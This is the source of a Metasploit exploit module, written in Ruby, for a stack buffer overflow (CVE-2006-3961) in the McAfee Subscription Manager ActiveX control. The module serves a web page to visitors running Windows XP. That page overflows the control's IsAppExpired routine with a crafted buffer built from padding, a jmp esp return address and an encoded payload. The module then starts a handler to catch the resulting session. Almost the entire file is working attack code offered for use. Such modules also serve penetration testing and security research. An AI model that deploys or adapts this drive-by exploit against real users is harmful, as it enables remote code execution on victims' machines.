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## # $Id: mcafee_mcsubmgr_vsprintf.rb 9669 2010-07-03 03:13:45Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'McAfee Subscription Manager Stack Buffer Overflow', 'Description'=> %q{ This module exploits a flaw in the McAfee Subscription Manager ActiveX control. Due to an unsafe use of vsprintf, it is possible to trigger a stack buffer overflow by passing a large string to one of the COM-exposed routines, such as IsAppExpired. This vulnerability was discovered by Karl Lynn of eEye. }, 'License'=> MSF_LICENSE, 'Author' => [ 'skape', ], 'Version'=> '$Revision: 9669 $', 'References' => [ [ 'CVE', '2006-3961'], [ 'OSVDB', '27698'], [ 'BID', '19265'], [ 'URL', 'http://lists.grok.org.uk/pipermail/full-disclosure/2006-August/048565.html'], ], 'Payload'=> { 'Space'=> 1014, 'MaxNops'=> 0, 'BadChars' => "\x00\x09\x0a\x0d'\\" + Rex::Text::UpperAlpha + Rex::Text::HighAscii, 'EncoderType'=> Msf::Encoder::Type::NonUpperUtf8Safe, 'EncoderOptions' => { 'BufferOffset' => 0x8 } }, 'Targets'=> [ # Target 0: Automatic [ 'Windows XP SP0/SP1', { 'Platform' => 'win', 'Rets' => [ 0x7605122f, # XP SP0/SP1 shell32.dll: jmp esp #0x773f346a# XP SP2 comctl32.dll: jmp esp ] }, ], ], 'DefaultTarget'=> 0, 'DisclosureDate' => 'Aug 01 2006')) end def on_request_uri(cli, request) # Re-generate the payload return if ((p = regenerate_payload(cli)) == nil) # Pick the right target case request['User-Agent'] when /Windows NT 5.1/ ret = target['Rets'][0] else print_error("Unsupported target: #{request['User-Agent']}") cli.send_response(create_response(404, 'File not found')) return end # Build out our overflow buffer buf = rand_text(2972, payload_badchars) + [ ret ].pack('V') + "\x60" + # pusha "\x6a" + rand_char + # push byte 0x1 "\x6a" + rand_char + # push byte 0x1 "\x6a" + rand_char + # push byte 0x1 "\x61" + # popa p.encoded # Generate random variable names vname= rand_text_alpha(rand(100) + 1) strname= rand_text_alpha(rand(100) + 1) # Build out the message content = "<html>" + "<object classid='clsid:9BE8D7B2-329C-442A-A4AC-ABA9D7572602' id='#{vname}'></object>" + "<script language='javascript'>\n" + "var #{vname} = document.getElementById('#{vname}');\n" + "var #{strname} = new String('#{buf}');\n" + "#{vname}.IsAppExpired(#{strname}, #{strname}, #{strname});\n" + "</script>" + "</html>" print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...") # Transmit the response to the client send_response_html(cli, content) # Handle the payload handler(cli) end end |
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